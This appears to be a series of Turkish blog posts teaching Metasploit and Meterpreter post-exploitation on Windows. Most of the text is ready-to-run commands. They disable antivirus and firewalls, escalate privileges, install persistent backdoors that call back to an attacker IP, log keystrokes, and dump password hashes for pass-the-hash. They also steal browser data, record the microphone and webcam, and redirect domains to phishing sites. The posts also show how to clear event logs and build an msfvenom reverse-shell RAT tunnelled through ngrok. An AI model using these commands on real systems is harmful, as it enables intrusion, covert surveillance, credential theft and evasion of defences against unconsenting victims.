Kategoriler
Linux Metasploit Siber Güvenlik

Meterpreter ile Post Exploitation 2

Geçen hafta hazırladığım Meterpreter ile post exploitation evresini tek yazıya sığdırmam pek de mümkün değildi. Bu hafta seriye devam edeceğim. Bu yazıda ağırlıklı bulunan aşamalar ise, yetki yükseltme, kalıcılığı sağlama ve kullanıcıya yakalanmama süreçleri olacak. 

Antivirüs ve Firewall Kapatma

Post exploitation aşamasında, antivirüsler durumu fark edip sıkıntı yapabiliyorlar. Bu durumda makineye girmişken kaybetmek olmaz. Antivirüsleri ve firewalları saf dışı bırakmamız gerekiyor.

getcountermeasure

meterpreter > run getcountermeasure -d -k
[*]Running Getcountermeasure on the target...
[*]Checking for countermeasure...
[*]Getting Windows Bilt in Firewall configuration...
...snip...

Firewall ve antivirüsleri devre dışı bırakmak için kullanılan bu scriptte, [vurgu color=”#dd3333″]-d[/vurgu] parametresi firewalları, [vurgu color=”#dd3333″]-k[/vurgu] parametresi ise antivürsleri devre dışı bırakır. Ancak çoğu antivirüs için yeterli bir çözüm olmadığını bilmemiz iyi olacak. Shell komutu ile komut penceresine erişelim. Söz konusu antivirüsün processini bulmamız gerekiyor. ps komutu ile göz atabilirsiniz. Ancak daha pratik bir yolu var.

Tasklist /SVC | find /I “avg” = avg

Bu şekilde anahtar kelime üzerinden processler üzerinde arama yapabiliriz. Daha sonra bulduğumuz processi devre dışı bırakmayı deneyeceğiz.

sc config avgwd start= disabled

taskkill /F /IM “avg*”

Yukarıda önce avgwd processini devre dışı bırakmayı denedik. Çalışmaması halinde sonraki satırda yer alan komutla avg ile başlayan tüm processleri kapatmayı deneyebiliriz. Bunlar da işe yaramazsa bir şansımız daha var: Regedit üzerinde değişiklik yapmak. Öncelikle söz konusu dizindeki kayıtları listeleyelim. Daha sonra AVG_UI gibi, antivirüs ismine göre bir kayıt bulmanız olası.

reg enumkey -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run

Bu durumda o kaydı silmek bizim işimizi çok kolaylaştıracaktır. Bu defa deleteval kullanarak -v parametresi ile kayıt ismini veriyoruz ve kaydı kaldırıyoruz. Kayıtlara tekrar baktığınızda muhtemelen kayıt artık orada olmayacaktır. 

reg deleteval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v AVG_UI

Yetki Yükseltme İşlemi

Migrate

Sistemdeki diğer processlere, elimizdeki backdoorumuzu yapıştırabiliriz. Bu durumda kullanıcı, görev yöneticisine baktığında, olağan dışı bir durum görmeyecektir. Fakat bizim yapıştığımız sıradan process, çalıştığı müddetçe, biz de sistemde var olacağız demektir. Bu durumda yapışmak için seçtiğimiz process de önemli diyebiliriz. Diğer mesele ise, söz konusu processin yetkisi dahilinde işlem yapma şansımız olacak demektir. Sınırlı yetkilere sahipken, bu yöntemle yetki yükseltme işlemi yapabiliriz. Aksi de mümkün ancak bu çok da mantıklı olmayacaktır 🙂

ps komutu ile porcesslere bakalım. Backdoorumuz da listede bulunacaktır. Daha sonra bulaşmak istediğimiz processi belirleyelim ve onun [vurgu color=”#dd3333″]PID[/vurgu] değerini alalım. Sonrasında ise geriye şu komutu yazmak kalıyor:

meterpreter > migrate <PID>
[*] Migrating from 415 to 680…
Migration completed succesfully.

Local Exploit

Sistemde yetki yükseltme aşamasında local exploitlerden de faydalanabiliriz. Söz konusu exploitleri metasploit üzerinden aramak mümkün. Bundan sonrasında devam edeceğimiz örnek Windows XP,  7 gibi versiyonlarda çalışırken 8 ve 10 üzerinde çalışmıyor. Exploiti seçtikten sonra info diyerek hangi sistemlerde çalışabildiğini görebilirsiniz.

msf exploit(handler) > use ecploit/windwos/local/ppr_flatten_rec

msf exploit(ppr_flatten_rec) > set SESSION 1

Bu ayarlama sonrasında exploiti kullanarak devam ediyoruz. Şayet meterpreter üzerinde ikinci oturumumuz açılırsa exploit başarılı oldu demektir. İkinci oturuma bağlanarak tam erişimle devam edebiliriz. Yalnız local exploitlerle yetki yükseltirken önemli bir detayımız var. [vurgu color=”#dd3333″]getsystem[/vurgu] gibi komutların sonrasında, local exploitler çalıştırıldığında hata ile karşılaşabilirsiniz. Exploit, daha önce yetki yükseltme işlemi yaptığınızı varsayabilir. Şayet ikinci oturum açılmazsa ilk oturumdan devam ederek farklı taktikler denenebilir. 

Backdoor’un kalıcılığını sağlama yöntemleri

Sisteme girdikten sonra genelde en büyük isteğimiz sistemde kalabilmek. Bunun için de bazı yöntemler var. Yetki yükseltme aşamasında bahsettiğimiz migrate kısmını da kalıcılık kısmına dahil edebiliriz. Yaptığımız birçok işlem aslında sistemde tutunabilmek için.

persistence

[vurgu color=”#dd3333″]run persistence -h [/vurgu] komutu ile detaylarını öğrenebileceğiniz bu eklenti, otomatik olarak sistemde kalıcı olmamızı sağlayan işlemleri halleder.

  • -A: Backdoor dinlenmeye alındığında otomatik olarak bağlantı gelmesini sağlar.
  • -L </dizinismi>: Backdoor’un otomatik kayıt edileceği konum seçilir. Default durumda temp klasörü seçilir.
  • -P<payload>: Seçilecek olan payload girilir.
  • -S: Backdoor bir sistem dosyası gibi çalışır. Haliyle sistem yetkisinde çalışılır.
  • -i: Bağlantı isteklerinin kaç saniyede bir gönderileceğini buradan belirleyebilirsiniz.
  • -X: Sistem açıldığında çalışacak başka bir backdoorun kurulmasını sağlar.
  • -p: Bağlantının geleceği portu seçebilirsiniz. Backdoor için oluşturacağınız porttan bahsediyorum.
  • -r: Saldırganın IP adresi yazılır.

meterpreter > run persistence -A -U user -L C:\\windows\\system32 -i 20 -p 4444 -r 192.168.1.98

Diğer komutlar

keylogrecorder

Karşı tarafın bastığı her tuşu kaydedip incelemek mümkün. Farklı özelliklere sahip bu eklentinin diğer özellikleri için keylogrecorder -h komutunu kullanarak bilgi edinebilirsiniz. Aşağıdaki komutta ise önce [vurgu color=”#dd3333″]-t[/vurgu] parametresi ile  saniyelik bir kayıt aldık. Daha sonra ise kaydolduğu dizine giderek sonuçları listeledik.

meterpreter > run keylogrecorder -t  10

meterpreter > cat /root/.msf4/logs/scripts/keylogrecorder/192.168.1.98_20190210.1123.txt

keyscan

Bu araç ise çok daha basit bir tuş kayıt aracı. Start ile başlıyor, dump ile kayıtları ortaya döküyor, stop ile duruyor. Hepsi bu 🙂

meterpreter > keyscan_start

Starting the keystroke sniffer…

meterpreter > keyscan_dump

Dumping captured keystrokes…

meterpreter > keyscan_stop

Stopping the keystroke sniffer…

Browserlardan veri almak

Karşı makinenin browserları üzerinden cookie, geçmiş kayıtları gibi bilgileri çekmek mümkün. Farklı tarayıcılar için farklı komutlar gerekiyor. Kaydolan dosyaları SQLite Database Browser gibi araçlarla inceleyebilirsiniz. 

meterpreter > run post/windows/gather/enum_chrome

meterpreter > run enum/firefox

meterpreter > run post/windows/gather/enum_ie

Psexec pass the hash

Önceki yazıda makinedeki kullanıcıların hash bilgilerini elde etmiştik. Şimdi o kullanıcı hashleri ile sisteme giriş yapmayı deneyelim. Bu hashlerle giriş yapmak için, hashleri kırmaya gerek yok.

[vurgu color=”#dd3333″]exploit/windows/smb/psexec[/vurgu] exploitini kullanarak gerekli parametreleri giriyoruz. [vurgu color=”#dd3333″]SMBUser[/vurgu] kısmına hash üzerinde bulunan ilk kısmı, [vurgu color=”#dd3333″]SMBPass[/vurgu] kısmına ise, hash üzerindeki son ve uzun kısmı alarak giriyoruz. Yalnız kullanıcı adı sonrasında gelen kısa sayılar hariç. Örneğin:

[vurgu color=”#dd3333″]Administrator:500:aad3b435b51404eeaad3basd34:12f2wpcv139mnbpol109zxd09dfhg0[/vurgu]

Burada “Administrator” kısmı SMBUser alanına, “aad3b435b51404eeaad3basd34:12f2wpcv139mnbpol109zxd09dfhg0” kısmı ise SMBPass alanına girilecek. Sonrasında exploiti denediğimizde çalışacaktır. Birkaç sefer denemek gerekebilir. 

Versiyon öğrenme

Makinede yüklü olan yazılımların versiyonlarını öğrenmek için aşağıdaki komut yeterli olacaktır.

meterpreter > run get_application_list

Bazı donanımların kontrolünü sağlama

Siz bir işlem yaptığınız esnada karşı tarafta bir donanımın kullanılmaz olmasını, müdahale edememesini isteyebilirsiniz. Bu durumda aşağıdaki komut yeterli olacaktır

meterpreter > uictl disabled keyboard

meterpreter > uictl disabled mouse

Enable diyerek tekrar aktif hale getirebiliriz. 

DNS spoofing işlemi

DNS Spoofing, ayrı bir yazı konusu olmakla beraber özet geçmek gerekirse kullanıcıyı, bizim belirlediğimiz sayfaya yönlendirmek anlamına gelir. Bu şekilde kendi oluşturduğunuz sahte bir web sitesini, kullanıcının girdiği domain ile değiştirerek giriş bilgilerini elinden alabilirsiniz. Aşağıdaki örnekte, boşluktan  sonra belirtilen domaine girildiğinde, boşluktan önce yazılan IP adresine yönlendirilmesini sağlar. Örneğin test.txt isminde bir dosya oluşturalım ve içine şunu yazalım:

172.252.110.27 google.com

Daha sonra aracımızı nasıl kullanacağız ona bakalım.

meterpreter > run hostsedit -l text.txt

Not defterinden birden fazla web sitesini bu şekilde yönlendirmeye alabilirsiniz. Ancak bir tane yönlendirme yapacaksanız aşağıdaki komut yeterli olacaktır.

meterpreter > run hostsedit -e 172.252.110.27,google.com

CheckVM

Karşı makinenin sanal makine olup olmadığını teyit etmek için kullanılır.

meterpreter > run post/windows/gather/checkvm

Sniffing

Makine üzerindeki network paketlerinin takibini ve incelenmesini sağlar.

meterpreter > sniffer_start
[*]Capture started on interface 1 (50000 packet buffer)
meterpreter > sniffer_dump 1 /tmp/packets.cap

 

Kategoriler
Linux Metasploit Siber Güvenlik

Meterpreter ile Post Exploitation

Metasploit serisinde öğrendikleriniz, herhangi bir zafiyetli makineye girmeniz için yeterli. Ancak makineye girdikten sonra ne yapabileceğinizi de öğrenmeniz gerekiyor. Ki en az söz konusu kullanıcı kadar hareket kabiliyetimiz var. Bu yazıda meterpreter ile karşı makinede yapabileceklerimizden bahsedeceğim. Meterpreter içerisinde birçok script bulunduran bir araç. Bu scriptler, bizim, girdiğimiz sistemde daha hızlı işlem yapmamızı sağlar. Meterpreter, sistem üzerinde çalıştığı için antivirüslere yakalanma ve iz bırakma olasılığı çok düşüktür.

Yazımı Offensive Security’den çevirdim ve büyük oranda ondan faydalanmakla beraber bazı eklemelerde bulundum. Meterpreter’in detaylarını ise farklı bir yazıda hazırlayacağım.

help

meterpreter > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    channel       Displays information about active channels
...snip...

Linux üzerindeki daimi kurtarıcımız “help” komutu ile başlayalım. Help komutu ile meterpreter üzerindeki komutların açıklamalarını öğrenebilirsiniz. 

background & sessions

Bir makineye girdiğinizde, o makinenin meterpreter erişimini kaybetmeden çıkarak başka işlem yapmak istiyorsanız background komutunu kullanabilirsiniz. Bu komut size birden fazla makineye bağlanma ve farklı exploitler deneme gibi imkanlar tanır.

Arka plana aldığınız makineleri listelemek için sessions yazmanız yeterli. Bağlanmak istediğiniz makine için ise sessions -i <ID> yazmanız gerek.

meterpreter > background
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

cat

Bu komutu kullanarak karşı makinedeki txt ve türevi dosyaların içerisini okuyabilirsiniz.Tıpkı Linux üzerinde olduğu gibi…

meterpreter > cat
Usage: cat file

//Example usage:
meterpreter > cat edit.txt
What you talkin' about Willis

cd & pwd

Dizin değiştirmek için cd komutunu, hangi dizinde olduğunuzu görmek için ise pwd komutunu kullanabilirsiniz.

meterpreter > pwd
c:\
meterpreter > cd c:\windows
meterpreter > pwd
c:\windows
meterpreter >

clearev

Sistemde iz bırakmamak için basit bir önlem… Windows sistemlerde uygulama, sistem ve güvenlik günlüklerini temizleyecektir.

Komut öncesinde günlük:

https://www.offensive-security.com/wp-content/uploads/2015/05/Clearev_before.png

meterpreter > clearev
[*] Wiping 97 records from Application...
[*] Wiping 415 records from System...
[*] Wiping 0 records from Security...
meterpreter >
Komut sonrası günlük:
https://www.offensive-security.com/wp-content/uploads/2015/05/Clearev_after.png

Download

Karşı makineden dosya indirmemizi sağlar.

meterpreter > download c:\\boot.ini
[*] downloading: c:\boot.ini -> c:\boot.ini
[*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini
meterpreter >

Karşı makineden hangi dizine indireceğinizi belirtmek için ise aşağıdaki yöntemi izlemeniz gerekiyor.

meterpreter > download -r metin.txt /root/Desktop

[*] downloading: c:\metin.txt -> /root/Desktop/metin.txt
[*] downloaded : c:\metin.txt -> /root/Desktop/metin.txt

Edit

Metin ve türevi dosyaların üzerinde değişiklik yapmamızı sağlar. Vim aracını kullanır.
meterpreter > edit edit.txt

Execute

Karşı makinede komut çalıştırabilmemizi sağlar. Aşağıdaki örnekte bizim için cmd.exe’yi çalıştıran bir komut var. Sonrasında yazacağımız komutları cmd üzerinden devam ettirebiliriz.

meterpreter > execute -f cmd.exe -i -H
Process 38320 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Getuid

Hangi yetkilerle erişimde bulunduğumuzu belirtir. Duruma göre yetki yükseltme işlemlerine geçilir. Bunları ayrı bir yazıda anlatacağız.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

Hashdump

En tatlı komutlarımızdan birisi 🙂 Sisteme ait kullanıcıların, kullanıcı adları ve hashleri elimizde. Hashleri kırmak için uğraşmanıza gerek yok. Onları kullanarak zaten sistemde o kullanıcı üzerinden giriş yapabiliyor olacağız. Ancak bu da başka bir yazının konusu.

meterpreter > run post/windows/gather/hashdump 

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...

Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >

idletime

Karşı makinede kullanıcının ne zamandır boşta olduğunu belirten komut.

meterpreter > idletime
User has been idle for: 5 hours 26 mins 35 secs
meterpreter >

ipconfig

Windows makinede olduğunuzu varsayarsak ağ arayüzünü görüntüler. Yerel IP adresi, alt ağ maskesi ve varsayılan ağ geçidi gibi bilgileri verir. 

meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0

AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:f5:15
IP Address  : 192.168.1.104
Netmask     : 255.255.0.0

meterpreter >

ls

Siz meterpreter ekranı boyunca karşı makinede işlem yapıyorsunuz. Ancak kendi makinenizdeki dosyaları incelemeniz gerekirse ne yapacaksınız? Bu durumda devreye bu komutlar giriyor. lpwd ile yerel makinenizde hangi dizinde bulunduğunuzu, lcd ile ise yine yerel makinenizde hangi dizine geçmek istediğinizi belirtebilirsiniz.

meterpreter > lpwd
/root

meterpreter > lcd MSFU
meterpreter > lpwd
/root/MSFU

meterpreter > lcd /var/www
meterpreter > lpwd
/var/www
meterpreter >

ls

Linux üzerinde yaptığınız gibi, bulunduğunuz dizindeki dosyaları listelemenizi sağlar.

meterpreter > ls

Listing: C:\Documents and Settings\victim
=========================================

Mode              Size     Type  Last modified                   Name
----              ----     ----  -------------                   ----
40777/rwxrwxrwx   0        dir   Sat Oct 17 07:40:45 -0600 2009  .
40777/rwxrwxrwx   0        dir   Fri Jun 19 13:30:00 -0600 2009  ..
100666/rw-rw-rw-  218      fil   Sat Oct 03 14:45:54 -0600 2009  .recently-used.xbel
40555/r-xr-xr-x   0        dir   Wed Nov 04 19:44:05 -0700 2009  Application Data
...snip...

ps

ps komutu ile karşı makinede çalışan processleri listeleyebilirsiniz.

meterpreter > ps

Process list
============

    PID   Name                  Path
    ---   ----                  ----
    132   VMwareUser.exe        C:\Program Files\VMware\VMware Tools\VMwareUser.exe
    152   VMwareTray.exe        C:\Program Files\VMware\VMware Tools\VMwareTray.exe
    288   snmp.exe              C:\WINDOWS\System32\snmp.exe
...snip...

Record Mic

record_mic komutu ile karşı makinenin mikrofonundan ses kaydı alabilirsiniz. Bu bir görüşmeye de ait olabilir, o anki ortama ait kayıt da olabilir. -d parametresi ile kaç saniye kayıt alacağını belirleyebilirsiniz. Siz belirtmezseniz Ctrl+C komutuna kadar kaydetmeye devam edecektir. -f parametresi ile ise makinenizde nereye kaydedeceğinizi belirtebilirsiniz.

meterpreter > record_mic -d 30 -f root/Desktop/kayit.wav

Resource

Bu komut ile verdiğiniz kaynaktan alınan komutların arka arkaya çalışmasını sağlayabilirsiniz. Metin belgesine yazdığınız her satır bir komut olarak kabul edilecektir. Karşı makinede çalıştıracağınız komutların hızlı ve otomatize bir şekilde gerçekleşmesini sağlayabilirsiniz. Şöyle örnek verelim, aşağıdaki bizim dosyamız olsun:

root@kali:~# cat resource.txt
ls
background
root@kali:~#

Şimdi bu dosyayı resource ile çalıştıralım. 

meterpreter> > resource resource.txt
[*] Reading /root/resource.txt
[*] Running ls

Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40777/rwxrwxrwx   0       dir   2012-02-29 16:41:29 -0500  .
40777/rwxrwxrwx   0       dir   2012-02-02 12:24:40 -0500  ..
100666/rw-rw-rw-  606     fil   2012-02-15 17:37:48 -0500  IDA Pro Free.lnk
100777/rwxrwxrwx  681984  fil   2012-02-02 15:09:18 -0500  Sc303.exe
100666/rw-rw-rw-  608     fil   2012-02-28 19:18:34 -0500  Shortcut to Ability Server.lnk
100666/rw-rw-rw-  522     fil   2012-02-02 12:33:38 -0500  XAMPP Control Panel.lnk

[*] Running background

[*] Backgrounding session 1...
msf  exploit(handler) >

rm

Bu komut ile karşı makineden dosya silmeniz mümkün. Silinen dosyalar geri dönüşüm kutusuna veya başka yere düşmez. Tamamen kaldırılır.

meterpreter > rm dosyaismi.txt

Screenshot

Bu komut sayesinde ise makineden ekran görüntüsü almak mümkün. screenshot -h parametresi ile detayları öğrenebilirsiniz. Aşağıdaki örnekte -p parametresi, ekran görüntüsünün sizin makinenizde nereye kaydedileceğini, -q parametresi ise görüntü kalitesini belirler. Varsayılan ayar 50’dir.

meterpreter > screenshot -p /root/Desktop/screenshoot.jpeg -q 75
Screenshot saved to: /root/Desktop/screenshoot.jpeg

Search

Search komutu anlayacağınız üzere, karşı makinede dosya aramamızı sağlar. Belirli bir dosya adı arayabileceğimiz gibi, belirli bir dosya türünden olan tüm dosyaları arayabilir, aynı zamanda belirli bir dizinde arama yapabiliriz. Aşağıda kullanımına dair birkaç örneğe yer verdim.

meterpreter > search -f autoexec.bat
Found 1 result...
    c:\AUTOEXEC.BAT
meterpreter > search -f sea*.bat c:\\xamp\\
Found 1 result...
    c:\\xampp\perl\bin\search.bat (57035 bytes)
meterpreter > search -f *.bat 
Found 1 result... 
    c:\AUTOEXEC.BAT

Shell

Yukarıda bir yerlerde cmd.exe dosyasını çalıştırmıştım gördünüz mü? Cmd.exe için onu unutabilirsiniz. Siz onu başka exe dosyalarında kullanın. cmd.exe için meterpreter ekranına shell yazmanız yeterli. Bundan sonrasında windows komutları ile devam edebilirsiniz. exit komutu ile komut penceresinden meterpretera dönebilirsiniz.

meterpreter > shell
Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Upload

Karşı makineden dosya çekebildiğiniz gibi kendi makinenizden karşı bilgisayara dosya da gönderebilirsiniz. Belki de orada sizin çalıştırmak istediğiniz bir exe dosyası vardır. Onun için de upload komutunu kullanıyoruz.

meterpreter > upload /root/Desktop/evil_trojan.exe c:\\windows\\system32
[*] uploading  : /root/Desktop/evil_trojan.exe -> c:\windows\system32
[*] uploaded   : /root/Desktop/evil_trojan.exe -> c:\windows\system32\evil_trojan.exe
meterpreter >

Webcam

Eğlenceli komutlardan birisi olan webcam ile karşı makinenin kamerasından anlık fotoğraf alabilir, video kaydedebilirsiniz. Peki birden fazla kamera varsa? O zaman hangisinden isterseniz ondan kayıt alırsınız.

webcam_list: Hedef makinede bulunan webcamleri listeler.

webcam_chat: Karşılıklı bir görüntülü konuşma başlatabilirsiniz.

webcam_stream: Bu komutla karşı makineden kamera kaydı alırsınız. Tarayıcınızda açılan sayfa üzerinden takip edebilirsiniz ve -t parametresi ile görüntüleri nereye kaydetmek istediğinizi belirtebilirsiniz.

webcam_snap: Karşı makinenin kamerasından anlık fotoğraf çeker. Aşağıda bir örnek var. Bu örnekteki -i parametresi kamera ID’si oluyor:

meterpreter > webcam_snap -i 1 -v false
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/Offsec/YxdhwpeQ.jpeg
meterpreter >

Ufak bir not: Kapaktaki çocuk muhtemelen ilginizi çekti. Çok da alay etmeyin isterseniz. Kendileri akıllı oyuncakları dinleme cihazına dönüştüren 12 yaşında bir çocuk. https://www.cbsnews.com/news/reuben-paul-12-year-old-cyber-ninja-cyber-security/

Kategoriler
Linux Metasploit Siber Güvenlik

Metasploit’e Giriş ve Temel Kavramlar

Metasploit, içinde binden fazla exploit bulunan popüler bir pentest aracıdır. Onu bu kadar popüler yapan şey, içindeki exploitlerin, yalnızca belirli parametreler girilerek kullanıma hazır hale gelmesi.  Exploit, metasploit için kodlanmışsa bu exploit metasploit ile kullanılabilir ve geliştirilebilir. Ancak esas mesele saldırı değil. Bilgi toplama ve farklı alanlarda da metasploit işimize çok yarayabiliyor. Bunu da detaylıca yazacağız. İyisi mi, biz exploit nedir, metasploitin işimize yaradığı diğer alanlar neler ve nasıl kullanacağız sırası ile gidelim. 

Exploit Nedir?

Exploit kelime anlamı olarak sömürmek anlamına gelir. Siber güvenlik dünyasında da karşılığı bu zaten. Mevcut bir zafiyeti kullanmak, sistemi bu zafiyet sayesinde ele geçirmek için yazılan kod parçacıklarına exploit diyoruz. C, python, perl, ruby gibi dillerle yazılmış olabilir. Exploit-DB üzerinden birçok exploite ulaşmak mümkün. Elbette farklı kaynaklar da var. Bazı kaynaklarda ücretli exploitler de bulunmakta(Bknz. 0-Day Today). Peki biz hangisini kullanacağımızı nereden bileceğiz? Girmek istediğimiz sistemde çalışan servisleri ve onların versiyonlarını tespit ettikten sonra ona uygun exploit araştıracağız. Bunu Detaylı NMAP Kullanımı yazımda anlatmıştım isterseniz onu da şöyle bir okuyun. Exploitlerin de kendi içinde gruplandığını söylemek mümkün.

Remote Exploits: Remote, kelime anlamı olarak uzak demektir. Haliyle ne işe yaradığı aslında ortada. Uzak sistemlere yapılacak olan saldırılarda kullandığımız exploitlerin toplandığı başlıktır.

Local Exploits: Local kelimesi ise yerel anlamına gelir. Yani direk sistemin kendisinde çalışacak olan exploitlerdir. Bunu genelde, sisteme girdikten sonra hak yükseltmek, root olmak amacıyla kullanırız.

Zero Day Exploits: En eğlenceli exploitler. Eğer exploit kavramını duydunuzsa muhtemelen arkasından bu kavramı da duymuşsunuzdur. Bunlar henüz keşfedilmemiş, sistemde zafiyet bulunduğu anda o zafiyeti sömürmek maksadıyla yazılmış exploitlerdir. Haliyle ne sistem sahibi ne de söz konusu bir servis durumun farkındadır. Açık ortamda paylaşılması halinde hızlı biçimde yayılacaktır.

Exploit meselesi tamam. Teorik taraf yeni başladığınızı varsayarsak sizin işinize yarayacaktır. Ancak birkaç kavramdan daha bahsetmek gerek. Onları da aşağıda listeleyeyim.

Payload: Payloadlar, metasploit içinde bulunur. Kullanmak istediğiniz exploiti seçtikten sonra exploite uygun bir payload seçmeniz gerekmekte. Exploit çalıştıktan sonra devreye payload girecek. Tamam da ben exploitimi belirledikten sonra ona uygun payloadları nereden bilebilirim ki? Şu şekilde:

msf exploit(ms08_067_netapi) > show payloads
Compatible Payloads
===================
...

Listelenecek olan payloadlar, elinizdeki exploitlere uygun olacaktır. Amacınıza göre tercihiniz değişecektir. Peki seçimi nasıl yapacağım?

msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp

Payload meselesi de şimdilik tamam. Ancak pratik bir meseleden bahsetmediğimizin farkındayım. Tüm bunların uygulamalarını da anlatacağız daha sonra. Önce bu kavramları bir anlatalım.

Auxiliary Nedir?

Auxiliary bilgi toplama aşamasında işimize yarar. Metasploitte bir servis arattığınızda muhtemelen auxiliary seçeneklerine denk gelirsiniz. Bilgi toplama derken neden bahsediyoruz? Bunu da birçok başlıkta incelemek gerekiyor. Auxiliary çeşitleri aşağıda mevcut. Biz birkaçını inceleyeceğiz. 

admin dos server
analyze fuzzers sniffer
bnat gather spoof
client parser sqli
crawler pdf voip
docx scanner vsploit

Scanner: Port tarama, zafiyeti sömürmeden önce bulunup bulunmadığını test etme, keşif gibi noktalarda tercih edilir.

Admin: Genellikle admin bilgilerini bilmediğiniz sistemlere, admin yetkisi ile giriş yapmanızı sağlarlar. Ancak versiyon bilgilerini öğrenmek gibi farklı amaçları da olabilir.

Fuzzers: Sisteme rastgele sorgular göndererek farklı cevaplar alınır. Sistemin çökmesi halinde de tepkilerini izler. Çok sık kullanılmayan auxiliary çeşitlerindendir. 

Dos: Adından da anlaşılacağı üzere Denial of Services saldırıları için kullanılır.

Gather: Metasploit üzerinde bulunan dedektif auxiliarylerimiz… Kendileri e-mail, kullanıcı adı ve dbs gibi bilgileri toplar.

Brute force: Yine anlaşılacağı üzere kaba kuvvet saldırılarında kullanılır. Yetkili girişini deneme yanılma yolu ile tespit etmeyi amaçlar.

Genel Exploit Kullanımı

Peki tüm bunlar tamam. Örnek bir kullanım da gösterelim yazımız öyle bitsin. Öncelikle uygun exploiti seçmek için servis adı ile (veya neye ihtiyacınız varsa) arama yapıyorum. Bunun için search komutunu kullanacağız.

Openssh’a yönelik exploitler listelendi. İsimleri, eklendiği tarih ve açıklamaları gibi bilgiler listeleniyor. Burada seçerken açıklamaya bakıp bizim karşımızdaki sisteme uygun olup olmadığını, tarihe bakıp güncel olup olmadığını veya rank kısmına bakıp ne kadar başarılı olduğunu tahmin etmek mümkün. Tercihleri de hiç bilmiyorsanız buna göre yapabilirsiniz. Ancak ilerledikçe sistemlerde hangi exploitin çalışacağını az çok tahmin eder duruma geleceksiniz bunlara gerek duymadan.

Daha sonra hangi exploiti kullanacağımızı use komutu ile seçiyoruz.

Exploiti seçtiğimiz anda soldaki kırmızı alan değişecek veya yoktan oluşacak. O kısım, içinde bulunduğunuz exploiti gösteriyor. Exploiti de seçtik. Şimdi ayarlarına göz atalım. Çalıştırmak için hangi bilgilere ihtiyacı varmış bir bakalım. Bu bilgileri biz girdikçe arka planda exploit koduna ekleyerek çalıştıracak. Bunun için de options komutunu kullanıyoruz. Seçtiğiniz exploit hangi sistemlerde çalışıyor, hedeflerinde neler var görmek isterseniz show targets komutunu kullanabilirsiniz.

Seçtiğimiz exploitin ayarlamalarını yapmak istediğimizde bu tablo bizi karşılayacak. Değerlerin isimleri, gerekli olup olmadıkları ve açıklamaları mevcut. Required kısmında yes yazan tüm değerleri doldurmak zorundasınız. Ancak no yazanlar boş kalabilir. Peki öyleyse neden gereksiz bilgi giriyoruz? Asında gereksiz denemez. Sistemde çalışma şansını arttıran değerler bunlar. Onun için ne kadar değer girerseniz şansınız o kadar artar. Ben RHOSTS kısmını değiştireceğim ancak öncesinde bir detay daha vereyim. Auxiliarylerde genelde RHOSTS yazar. Yani birden fazla hedef girebilirsiniz. Ancak exploit seçimi yaptığınızda,genelde direkt hedef odaklı tercih yapmanız gerekir. Birden fazla seçemezsiniz. Ben set RHOSTS komutu ile hedef adresi de giriyorum.

Bundan sonrasında tüm değerler doğru ise exploit veya run komutu ile auxiliarymi çalıştırabilirim. Başka bir alternatif olarak ise check komutu ile exploit sisteme zarar vermeden çalışıp çalışmadığını test edebilirim. Sonrasında söz konusu auxiliary, işlevini yerine getirecektir. Örnek, komutları göstermeye yönelik olduğu için sonucunu göstermedim. Esas amaç temel kullanımı göstermekti. İleride bolca örnek yapacağız. 

Kategoriler
Linux Metasploit Siber Güvenlik

Msfvenom ile Uzaktaki Windows Makineye Saldırı

Metasploit serisine bu sefer uygulamalı bir yazı ile devam edeceğiz. Windows sistem kurulmuş makinelere metasploit ile rat hazırlayacağız ve karşı taraftan bağlantı almayı deneyeceğiz. Ancak farklı olarak ngrok kullanarak farklı ağdan internete çıkan makineler üzerinde de test edeceğiz.

Ngrok kullanımından daha önce Tembeller için Phishing: Blackeye yazımda anlatmıştım. Oraya bir göz atmanız yeterli. Bu yazıda mantığını es geçip uygulamasını göstereceğim.

./ngrok tcp 1212 komutu ile ngrok uygulamasında tcp tipinde 1212 portunu açıyoruz. Port numarası sizin keyfinize kalmış. Daha sonra bize verdiği beş haneli port numarasını(değişebilir) ve linki bir kenara alalım. Ngrok çalışmaya devam etsin. Msfvenom’a geçelim.

Şimdi msfvenom ile ratı oluşturalım.

msfvenom windows/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=11841 -f exe R > rat.exe

